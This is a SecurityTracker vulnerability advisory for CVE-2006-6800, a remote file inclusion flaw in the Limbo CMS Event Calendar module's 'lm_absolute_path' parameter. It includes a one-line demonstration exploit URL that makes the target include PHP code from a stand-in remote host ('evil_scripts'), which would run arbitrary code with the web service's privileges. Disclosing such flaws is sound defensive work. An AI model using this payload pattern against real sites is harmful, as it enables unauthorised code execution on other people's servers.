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Category:   Application (Forum/Board/Portal)  >   Limbo CMS Vendors:   limbo-cms.com
Limbo CMS Event Calendar Module Include File Bug in 'eventcal/mod_eventcal.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017452
SecurityTracker URL:  http://securitytracker.com/id/1017452
CVE Reference:   CVE-2006-6800   (Links to External Site)
Updated:  May 20 2008
Original Entry Date:  Dec 28 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  

Description:   A vulnerability was reported in Limbo CMS in the Event Calendar module. A remote user can include and execute arbitrary code on the target system.

The third party Event Calendar module's 'eventcal/mod_eventcal.php' script does not properly validate user-supplied input in the 'lm_absolute_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/[script_path]/eventcal/mod_eventcal.php?lm_absolute_path=http://evil_scripts?

xoron reported this vulnerability.

The original advisory is available at:

http://www.milw0rm.com/exploits/3028

[Editor's note: The affected 'mod_eventcal.php' file is dated September 27, 2005.]

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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